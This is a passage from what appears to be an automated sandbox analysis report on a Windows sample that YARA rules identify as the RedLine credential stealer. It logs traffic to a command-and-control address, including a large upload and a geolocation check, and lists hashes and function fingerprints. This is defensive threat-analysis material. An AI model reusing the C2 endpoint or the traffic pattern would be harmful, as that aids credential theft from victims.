Jan 26, 2025 08:22:19.573920965 CET	294	IN	HTTP/1.1 200 OK Content-Length: 147 Content-Type: text/xml; charset=utf-8 Server: Microsoft-HTTPAPI/2.0 Date: Sun, 26 Jan 2025 07:22:18 GMT Data Raw: 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 53 65 74 45 6e 76 69 72 6f 6e 6d 65 6e 74 52 65 73 70 6f 6e 73 65 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 74 65 6d 70 75 72 69 2e 6f 72 67 2f 22 2f 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/"><s:Body><SetEnvironmentResponse xmlns="http://tempuri.org/"/></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49734	23.27.201.57	62529	7420	C:\Users\user\Desktop\xI0ubnUcsV.exe

Timestamp	Bytes transferred	Direction	Data
Jan 26, 2025 08:22:19.586268902 CET	240	OUT	POST / HTTP/1.1 Content-Type: text/xml; charset=utf-8 SOAPAction: "http://tempuri.org/Endpoint/GetUpdates" Host: 23.27.201.57:62529 Content-Length: 933008 Expect: 100-continue Accept-Encoding: gzip, deflate Connection: Keep-Alive
Jan 26, 2025 08:22:20.386071920 CET	25	IN	HTTP/1.1 100 Continue
Jan 26, 2025 08:22:21.902491093 CET	408	IN	HTTP/1.1 200 OK Content-Length: 261 Content-Type: text/xml; charset=utf-8 Server: Microsoft-HTTPAPI/2.0 Date: Sun, 26 Jan 2025 07:22:21 GMT Data Raw: 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 47 65 74 55 70 64 61 74 65 73 52 65 73 70 6f 6e 73 65 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 74 65 6d 70 75 72 69 2e 6f 72 67 2f 22 3e 3c 47 65 74 55 70 64 61 74 65 73 52 65 73 75 6c 74 20 78 6d 6c 6e 73 3a 61 3d 22 42 72 6f 77 73 65 72 45 78 74 65 6e 73 69 6f 6e 22 20 78 6d 6c 6e 73 3a 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 2f 3e 3c 2f 47 65 74 55 70 64 61 74 65 73 52 65 73 70 6f 6e 73 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/"><s:Body><GetUpdatesResponse xmlns="http://tempuri.org/"><GetUpdatesResult xmlns:a="BrowserExtension" xmlns:i="http://www.w3.org/2001/XMLSchema-instance"/></GetUpdatesResponse></s:Body></s:Envelope>

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49732	172.67.75.172	443	7420	C:\Users\user\Desktop\xI0ubnUcsV.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-26 07:22:15 UTC	64	OUT	GET /geoip HTTP/1.1 Host: api.ip.sb Connection: Keep-Alive
2025-01-26 07:22:15 UTC	943	IN	HTTP/1.1 200 OK Date: Sun, 26 Jan 2025 07:22:15 GMT Content-Type: application/json; charset=utf-8 Transfer-Encoding: chunked Connection: close vary: Accept-Encoding Cache-Control: no-cache access-control-allow-origin: * cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=gpQ60pcf6wJZ8ub%2BcIHkiwEoqvsntz1wTIIrZ2reXSjgSJl4%2B9%2FqHhdFffb1aUhvQ81sL9G4O6hRTmX9M69Fw0PxBExBDbrzNdqf3ir2OV43VSLw%2Bt5qhEQILA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Server: cloudflare CF-RAY: 907ec036db02729b-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1815&min_rtt=1810&rtt_var=688&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2805&recv_bytes=678&delivery_rate=1578378&cwnd=250&unsent_bytes=0&cid=004931ae36b37a8d&ts=429&x=0"
2025-01-26 07:22:15 UTC	351	IN	Data Raw: 31 35 38 0d 0a 7b 22 6f 72 67 61 6e 69 7a 61 74 69 6f 6e 22 3a 22 43 65 6e 74 75 72 79 4c 69 6e 6b 22 2c 22 6c 6f 6e 67 69 74 75 64 65 22 3a 2d 37 34 2e 30 30 36 36 2c 22 63 69 74 79 22 3a 22 4e 65 77 20 59 6f 72 6b 22 2c 22 74 69 6d 65 7a 6f 6e 65 22 3a 22 41 6d 65 72 69 63 61 5c 2f 4e 65 77 5f 59 6f 72 6b 22 2c 22 69 73 70 22 3a 22 43 65 6e 74 75 72 79 4c 69 6e 6b 22 2c 22 6f 66 66 73 65 74 22 3a 2d 31 38 30 30 30 2c 22 72 65 67 69 6f 6e 22 3a 22 4e 65 77 20 59 6f 72 6b 22 2c 22 61 73 6e 22 3a 33 33 35 36 2c 22 61 73 6e 5f 6f 72 67 61 6e 69 7a 61 74 69 6f 6e 22 3a 22 4c 45 56 45 4c 33 22 2c 22 63 6f 75 6e 74 72 79 22 3a 22 55 6e 69 74 65 64 20 53 74 61 74 65 73 22 2c 22 69 70 22 3a 22 38 2e 34 36 2e 31 32 33 2e 31 38 39 22 2c 22 6c 61 74 69 74 75 64 65 Data Ascii: 158{"organization":"CenturyLink","longitude":-74.0066,"city":"New York","timezone":"America\/New_York","isp":"CenturyLink","offset":-18000,"region":"New York","asn":3356,"asn_organization":"LEVEL3","country":"United States","ip":"8.46.123.189","latitude
2025-01-26 07:22:15 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Target ID:	0
Start time:	02:22:06
Start date:	26/01/2025
Path:	C:\Users\user\Desktop\xI0ubnUcsV.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\xI0ubnUcsV.exe"
Imagebase:	0x730000
File size:	97'792 bytes
MD5 hash:	65B74F187C506CF5C1FAFDE03E60E7DF
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000000.1756736980.0000000000732000.00000002.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 00000000.00000000.1756736980.0000000000732000.00000002.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: Windows_Trojan_RedLineStealer_f54632eb, Description: unknown, Source: 00000000.00000000.1756736980.0000000000732000.00000002.00000001.01000000.00000003.sdmp, Author: unknown
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	02:22:07
Start date:	26/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	15.7%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	0%
Total number of Nodes:	31
Total number of Limit Nodes:	1

Executed Functions

Function 06369628 Relevance: 16.2, Strings: 12, Instructions: 1190COMMON

Download Yara Rule

Strings

,bq, xrefs: 0636A247
c^q, xrefs: 06369FF6
$^q, xrefs: 06369CCD
$^q, xrefs: 06369CB3
4c^q, xrefs: 06369FBC
(_^q, xrefs: 0636A0C4
Hbq, xrefs: 0636A3E2
4c^q, xrefs: 06369FA2
$^q, xrefs: 0636A64B
(_^q, xrefs: 0636A0DE
Nv]q, xrefs: 06369930
c^q, xrefs: 06369FDC

Memory Dump Source

Source File: 00000000.00000002.1907642667.0000000006360000.00000040.00000800.00020000.00000000.sdmp, Offset: 06360000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6360000_xI0ubnUcsV.jbxd

Similarity

API ID:
String ID: (_^q$(_^q$,bq$4c^q$4c^q$Hbq$Nv]q$$^q$$^q$$^q$c^q$c^q
API String ID: 0-692146702
Opcode ID: 8c5558ec5d80871c91c151589d74b6e5ee0f299c90c43ad49ee443141955aea1
Instruction ID: cfa441cc7f2e25ea5b9591ddf691ba6893a1a062ea3ea4c6b2c201c8bfd1ca1c
Opcode Fuzzy Hash: 8c5558ec5d80871c91c151589d74b6e5ee0f299c90c43ad49ee443141955aea1
Instruction Fuzzy Hash: 04826330F801194FCBA99B7E845427D66D7BFCC700B6188A9D44ADB398EE35DC468BE1

Function 0636DD00 Relevance: 8.0, Strings: 6, Instructions: 465
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

$^q, xrefs: 0636DDA5
4|cq, xrefs: 0636E2ED
$^q, xrefs: 0636DEE7
4'^q, xrefs: 0636DEF6
$^q, xrefs: 0636DD58
$^q, xrefs: 0636DDB5

Memory Dump Source

Source File: 00000000.00000002.1907642667.0000000006360000.00000040.00000800.00020000.00000000.sdmp, Offset: 06360000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6360000_xI0ubnUcsV.jbxd

Similarity

API ID:
String ID: 4'^q$4|cq$$^q$$^q$$^q$$^q
API String ID: 0-997030528
Opcode ID: 8007720c4b10b5f4d059c057e06fe1530a8664d4497e85e0c9e96ac394c4f8d8
Instruction ID: c0b77190d8401c1bfd90d609c4d2b5f4af31fcd880a05df0effe86d357e270f0
Opcode Fuzzy Hash: 8007720c4b10b5f4d059c057e06fe1530a8664d4497e85e0c9e96ac394c4f8d8
Instruction Fuzzy Hash: 33023C34B002198FDB54DF6AC854AAEBBF6BF88300F2484A9E809DB355DB349D45CF91

Function 06363320 Relevance: 6.7, Strings: 5, Instructions: 467
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

Hbq, xrefs: 063636D0
Hbq, xrefs: 06363701
Hbq, xrefs: 063637C0
Hbq, xrefs: 06363732
Hbq, xrefs: 06363779

Memory Dump Source

Source File: 00000000.00000002.1907642667.0000000006360000.00000040.00000800.00020000.00000000.sdmp, Offset: 06360000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6360000_xI0ubnUcsV.jbxd

Similarity

API ID:
String ID: Hbq$Hbq$Hbq$Hbq$Hbq
API String ID: 0-1677660839
Opcode ID: db584afa355f9ce8ac2a9ede7dc9dc3a1a551e718313d2f7e8531faaace69c62
Instruction ID: a0896f7927f952e250ddcc85ff161125e583fd323219159dceee733988935a9e
Opcode Fuzzy Hash: db584afa355f9ce8ac2a9ede7dc9dc3a1a551e718313d2f7e8531faaace69c62
Instruction Fuzzy Hash: C702BD31E10256CFDB55CF75C4502ADFBB2FF89300F24C66AE406AB245EB74AA85CB90

Function 06362DB8 Relevance: 5.3, Strings: 4, Instructions: 334
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

Hbq, xrefs: 06362F2C
Hbq, xrefs: 06363156
Hbq, xrefs: 06363021
(bq, xrefs: 06362F00

Memory Dump Source

Source File: 00000000.00000002.1907642667.0000000006360000.00000040.00000800.00020000.00000000.sdmp, Offset: 06360000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6360000_xI0ubnUcsV.jbxd

Similarity

API ID:
String ID: (bq$Hbq$Hbq$Hbq
API String ID: 0-3052612648
Opcode ID: a5b48032a985980c8248796a72b3a1b5f0cfc347fb496af1603744365b81e8a4
Instruction ID: f77f1065cc5a14618d0422dcda6eeb32bd350767aa1622e9ee1b982198ba1e9b
Opcode Fuzzy Hash: a5b48032a985980c8248796a72b3a1b5f0cfc347fb496af1603744365b81e8a4
Instruction Fuzzy Hash: 6DC1FF31B042049FDB45DB39D854A6E7FF6EF88300B1584AAE806CB295DF34ED06CB91

Function 0636F0E0 Relevance: 1.7, Strings: 1, Instructions: 475COMMON

Download Yara Rule

Strings

I&, xrefs: 0636F58E, 0636F593

Memory Dump Source

Source File: 00000000.00000002.1907642667.0000000006360000.00000040.00000800.00020000.00000000.sdmp, Offset: 06360000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6360000_xI0ubnUcsV.jbxd

Similarity

API ID:
String ID: I&
API String ID: 0-2652816758
Opcode ID: 87b632d337cc95c96129ea2bc72cd6fbd6fc8f197244c4f759fb7efd448a47a9
Instruction ID: 1418a0384982ea208034e660caea4a6b10ed316b156fec509c03af31128120f1
Opcode Fuzzy Hash: 87b632d337cc95c96129ea2bc72cd6fbd6fc8f197244c4f759fb7efd448a47a9
Instruction Fuzzy Hash: 84026D34F002059BCB55DB79D55466EBBA7AF88300F10856DE44AEB358EF70DC46CB90

Function 0636D108 Relevance: 1.7, Strings: 1, Instructions: 439COMMON

Download Yara Rule

Strings

Hbq, xrefs: 0636D4FB

Memory Dump Source

Source File: 00000000.00000002.1907642667.0000000006360000.00000040.00000800.00020000.00000000.sdmp, Offset: 06360000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6360000_xI0ubnUcsV.jbxd

Similarity

API ID:
String ID: Hbq
API String ID: 0-1245868
Opcode ID: e5f83fc94df21bfb1bfb4ba37fba967338bf9647bab37b3ed195af2009ebbf4e
Instruction ID: 92bea80b04be1d5ae6e11fa9bc36206f239914eec8d32db6c09213625db1bd0a
Opcode Fuzzy Hash: e5f83fc94df21bfb1bfb4ba37fba967338bf9647bab37b3ed195af2009ebbf4e
Instruction Fuzzy Hash: 61F1C270A042668FDB55CF76C4501BDFBF6AF86300B14C56AE845EB248EB74DA85CBE0

Function 0284E7B0 Relevance: .9, Instructions: 927COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1900398471.0000000002840000.00000040.00000800.00020000.00000000.sdmp, Offset: 02840000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2840000_xI0ubnUcsV.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dbaf94fa17d3f171601752b108e13e518622bf48be3536121f04d7a9663d7a4f
Instruction ID: 2464eaa421a364e7593ff3cf45bbe435816a4ba8adb0f77b4cb64f51a3146cbd
Opcode Fuzzy Hash: dbaf94fa17d3f171601752b108e13e518622bf48be3536121f04d7a9663d7a4f
Instruction Fuzzy Hash: 7182EA78B002188FCB15DF68D899B6DBBB6BF88301F1184A9E50A9B3A5DF349D45CF50

Function 06364468 Relevance: .8, Instructions: 814COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1907642667.0000000006360000.00000040.00000800.00020000.00000000.sdmp, Offset: 06360000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6360000_xI0ubnUcsV.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b494025276f7f4e06b6de2e30db9620e4ba7f0fc3021ae87617221db885f9075
Instruction ID: ec64ba9f1ad5ab1dd9b8f4fb9a0685790bfbcb242ee059e0f295def1c622f950
Opcode Fuzzy Hash: b494025276f7f4e06b6de2e30db9620e4ba7f0fc3021ae87617221db885f9075
Instruction Fuzzy Hash: E8827134A14216CFEBA4DF25D948B6977F2BF49304F1081A8E9099B39AE730DD49CF91

Function 06361210 Relevance: .4, Instructions: 434COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1907642667.0000000006360000.00000040.00000800.00020000.00000000.sdmp, Offset: 06360000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6360000_xI0ubnUcsV.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6593c271090069af39e1d02d1922e3eba54ff5b1e8f40a78da7e15490d057fcc
Instruction ID: f63664f17cea1ccfafd83f22d9a7c4f58f2bd678f3141ecda268c53fb867a8ca
Opcode Fuzzy Hash: 6593c271090069af39e1d02d1922e3eba54ff5b1e8f40a78da7e15490d057fcc
Instruction Fuzzy Hash: C0F14378E00209DFCB44DBB5D998ABEBBB7EF88340F518418E906AB354CB319C45DB65

Function 063675E8 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 56
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryW.KERNEL32(00000000,?,?,?,?,00000000,00000E20,?,?,063674A6), ref: 06367656

Strings

'd, xrefs: 0636760F

Memory Dump Source

Source File: 00000000.00000002.1907642667.0000000006360000.00000040.00000800.00020000.00000000.sdmp, Offset: 06360000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6360000_xI0ubnUcsV.jbxd

Similarity

API ID: LibraryLoad
String ID: 'd
API String ID: 1029625771-4256343011
Opcode ID: 935c1f673447626973d3e31a16f0242e2cc80a62788ca4d6160a4d61fec48550
Instruction ID: 31e5065c12dbb6884d5b83da3ebda77786024ae479b471c52ba7de36bedbea2c
Opcode Fuzzy Hash: 935c1f673447626973d3e31a16f0242e2cc80a62788ca4d6160a4d61fec48550
Instruction Fuzzy Hash: 131126B5C002499FDB20DFAAC844ADEFBF8EB48224F14841AE419A7610D374A545CFA5

Function 02840CE0 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 53
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetConsoleWindow.KERNEL32 ref: 02840D47

Strings

'd, xrefs: 02840CFF

Memory Dump Source

Source File: 00000000.00000002.1900398471.0000000002840000.00000040.00000800.00020000.00000000.sdmp, Offset: 02840000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2840000_xI0ubnUcsV.jbxd

Similarity

API ID: ConsoleWindow
String ID: 'd
API String ID: 2863861424-4256343011
Opcode ID: 43cdcfe05a185379db67a62e84f7fda36c46ce5ddeeff8779039ab5e8af63f68
Instruction ID: c7e77b797bec8a10f8c64fe6811ed998676380040d8c58a476176af16241f94b
Opcode Fuzzy Hash: 43cdcfe05a185379db67a62e84f7fda36c46ce5ddeeff8779039ab5e8af63f68
Instruction Fuzzy Hash: 7A1158B59002498FDB24DFAAC4457DFFBF4EB48324F208429C159A7250CB79A545CFA4

Function 06367148 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 53
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryW.KERNEL32(00000000,?,?,?,?,00000000,00000E20,?,?,063674A6), ref: 06367656

Strings

'd, xrefs: 0636760F

Memory Dump Source

Source File: 00000000.00000002.1907642667.0000000006360000.00000040.00000800.00020000.00000000.sdmp, Offset: 06360000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6360000_xI0ubnUcsV.jbxd

Similarity

API ID: LibraryLoad
String ID: 'd
API String ID: 1029625771-4256343011
Opcode ID: c4b6902f7a5bd5ac4269c18bdf80f4b515a3a4665a7a2ccd23a56d5f2c3ef90f
Instruction ID: 082ba541eb6cc81771663544e6726fe1433699b08fbb117418d56048e2282837
Opcode Fuzzy Hash: c4b6902f7a5bd5ac4269c18bdf80f4b515a3a4665a7a2ccd23a56d5f2c3ef90f
Instruction Fuzzy Hash: 361123B5D003498FDB20DF9AC844BDEFBF4EB88224F54842AE419B7214D375A545CFA5

Function 02840CE8 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 47
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetConsoleWindow.KERNEL32 ref: 02840D47

Strings

'd, xrefs: 02840CFF

Memory Dump Source

Source File: 00000000.00000002.1900398471.0000000002840000.00000040.00000800.00020000.00000000.sdmp, Offset: 02840000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2840000_xI0ubnUcsV.jbxd

Similarity

API ID: ConsoleWindow
String ID: 'd
API String ID: 2863861424-4256343011
Opcode ID: d951571da29d8f66012bfcacd8514a297e8ff66e62240a7dab34c83ed94634be
Instruction ID: a676e3315d401693d9eee74a3367d8d89e60cf5c470c029ae70c12e93d3bf6b8
Opcode Fuzzy Hash: d951571da29d8f66012bfcacd8514a297e8ff66e62240a7dab34c83ed94634be
Instruction Fuzzy Hash: 3D1133B59002498FCB24DFAAC4457DFFFF4AB88324F20842AC559A7250CB79A544CFA5

Function 063B1550 Relevance: 1.4, Instructions: 1415COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1907727587.00000000063B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 063B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_63b0000_xI0ubnUcsV.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b271abd7c0aab697b8d03f29be8e61173c535503393c240438f3e14009eb1215
Instruction ID: 72d0ed4ce046860140aae19bad6f9c5bd940fd1dca19e5646b587bf4f68e691c
Opcode Fuzzy Hash: b271abd7c0aab697b8d03f29be8e61173c535503393c240438f3e14009eb1215
Instruction Fuzzy Hash: 90C22C34B002189FCB54DB58CC91EEEBBB6FF88700F508095E609AB765DB71AD85CB91

Function 063B3424 Relevance: 1.3, Instructions: 1317COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1907727587.00000000063B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 063B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_63b0000_xI0ubnUcsV.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e304a4cfdea8c9ecd0e56fdf4e6676fff2967df007df298bb18ab64b0fcb70c8
Instruction ID: 0898ef7be70c368cada7851e6a0e28481fb977993a9c6aeaff4dc33c565478a5
Opcode Fuzzy Hash: e304a4cfdea8c9ecd0e56fdf4e6676fff2967df007df298bb18ab64b0fcb70c8
Instruction Fuzzy Hash: 96C1B234B002149FDB44DB68C994AAEBBF6EF88300F1194AAE615DB7A1DB71DC05CB91

Function 063B0048 Relevance: .7, Instructions: 665COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1907727587.00000000063B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 063B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_63b0000_xI0ubnUcsV.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 91245233c821492da348037aaf698f414ee5b068b5fcad372082a42bcbdd3f39
Instruction ID: 11e5fb46ae218e44212f803098d13dd9779314919590ac06706e619764917cf0
Opcode Fuzzy Hash: 91245233c821492da348037aaf698f414ee5b068b5fcad372082a42bcbdd3f39
Instruction Fuzzy Hash: A4428730B406148FCB25AF68D550A6FBBB2FBC5301B114A5CD6039F7A4DB76E9098BC6

Function 063B04F4 Relevance: .5, Instructions: 500COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1907727587.00000000063B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 063B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_63b0000_xI0ubnUcsV.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f4c8321fcee9f4439b095aff5a00a6e2baf4bbfbfeab84dc923732974c86d477
Instruction ID: 13df45788acf3a5b5b7df7a7906c95141ba01fd6f375c63e5ba3b125c23a4ad5
Opcode Fuzzy Hash: f4c8321fcee9f4439b095aff5a00a6e2baf4bbfbfeab84dc923732974c86d477
Instruction Fuzzy Hash: 1D128B30B406149FCB54EF68C950A6EBBB6FFC5304F108958D6029F7A5DB76E9098BC2

Function 063B056A Relevance: .5, Instructions: 465COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1907727587.00000000063B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 063B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_63b0000_xI0ubnUcsV.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e0626aa198e74744f5034f6cce1c9d8802324f89b12e79eceb99893d17dc847b
Instruction ID: ec26886bd83bdd5a3a18ecf0c295fa650c9d267335589ca4895a50094b71fb34
Opcode Fuzzy Hash: e0626aa198e74744f5034f6cce1c9d8802324f89b12e79eceb99893d17dc847b
Instruction Fuzzy Hash: F0029B30B406149FDB54DF68C950AAFBBB6FF85304F108958D6029F7A5CBB1E9098BC2

Function 063B05E0 Relevance: .4, Instructions: 428COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1907727587.00000000063B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 063B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_63b0000_xI0ubnUcsV.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5fa7526af8e77ba63ffa3e83c9301fe537ea20b3340a3de14fdac71570bfe673
Instruction ID: 24c5e867fc3ae85d59a5c4e3f5dc68481a7c182e023700d68b63d1311f1217fc
Opcode Fuzzy Hash: 5fa7526af8e77ba63ffa3e83c9301fe537ea20b3340a3de14fdac71570bfe673
Instruction Fuzzy Hash: C5029C30B402149FDB54DF68C950AAFBBB6FF85704F108559E6029F7A5CB71E9098BC2

Function 063B0656 Relevance: .4, Instructions: 390COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1907727587.00000000063B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 063B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_63b0000_xI0ubnUcsV.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4d2df596c1733101e4780f73a20ac0de3593b44403673fe4e48a2dfad75398e5
Instruction ID: f389a352be6646f678e94365e21bd920717ef020dd7a6fc150343465974a1ead
Opcode Fuzzy Hash: 4d2df596c1733101e4780f73a20ac0de3593b44403673fe4e48a2dfad75398e5
Instruction Fuzzy Hash: 3DF19A30B402049FDB44DF68C954AAFBBB6FF85704F108459E6029F7A5CBB1E9498BC1

Function 063B06CC Relevance: .4, Instructions: 356COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1907727587.00000000063B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 063B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_63b0000_xI0ubnUcsV.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bf0af8e603f88611cfc987601f51816fa5c392b56073547b6a985f0f7e502834
Instruction ID: ae4c812f0cef2f9fdc8dc2cac89f74efc8352646d9b51ddede52874bcca4de6a
Opcode Fuzzy Hash: bf0af8e603f88611cfc987601f51816fa5c392b56073547b6a985f0f7e502834
Instruction Fuzzy Hash: C4E18B30B402049FDB449F64C954AAFBBB6FF89704F108459E6029F7A5CBB2E9498B91

Function 063B0001 Relevance: .3, Instructions: 345COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1907727587.00000000063B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 063B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_63b0000_xI0ubnUcsV.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6918ada5a26eec18c95da5667b1ba6f5c5b7a4ccb113d59efc154153886a4397
Instruction ID: 8afd1d8a80ac288e39814dcef86af74e6996e70f06020ac692e59df7daf3029c
Opcode Fuzzy Hash: 6918ada5a26eec18c95da5667b1ba6f5c5b7a4ccb113d59efc154153886a4397
Instruction Fuzzy Hash: A3D1AC30B042049FDB449F64C855AAB7BB6FF89700F10909AE602DF7A6CB71DD49CB91

Function 063B3327 Relevance: .1, Instructions: 84COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1907727587.00000000063B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 063B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_63b0000_xI0ubnUcsV.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 101c1208f63281d6550a0a79a230f26066b947b2496ae191273d9bcae9ffafaf
Instruction ID: bcf759f84412dfaabec4dfcff8a3c0a55c35ea8255ee0426a7caa661dcc97b02
Opcode Fuzzy Hash: 101c1208f63281d6550a0a79a230f26066b947b2496ae191273d9bcae9ffafaf
Instruction Fuzzy Hash: 4A318C357400149FDB54CF68D984EAABBB2EF88314F1180A4EA09DF361DB31EC05CB50

Function 027ED054 Relevance: .1, Instructions: 77COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1900187805.00000000027ED000.00000040.00000800.00020000.00000000.sdmp, Offset: 027ED000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_27ed000_xI0ubnUcsV.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9a37a0da01963fe06b3f7a75ac52012264f2ebfae3daf327339d154d55f62b8c
Instruction ID: 9f3ad5a513fe08f423955c48f7de05a447892d4d83e6bacb2e2f54fc97f3107b
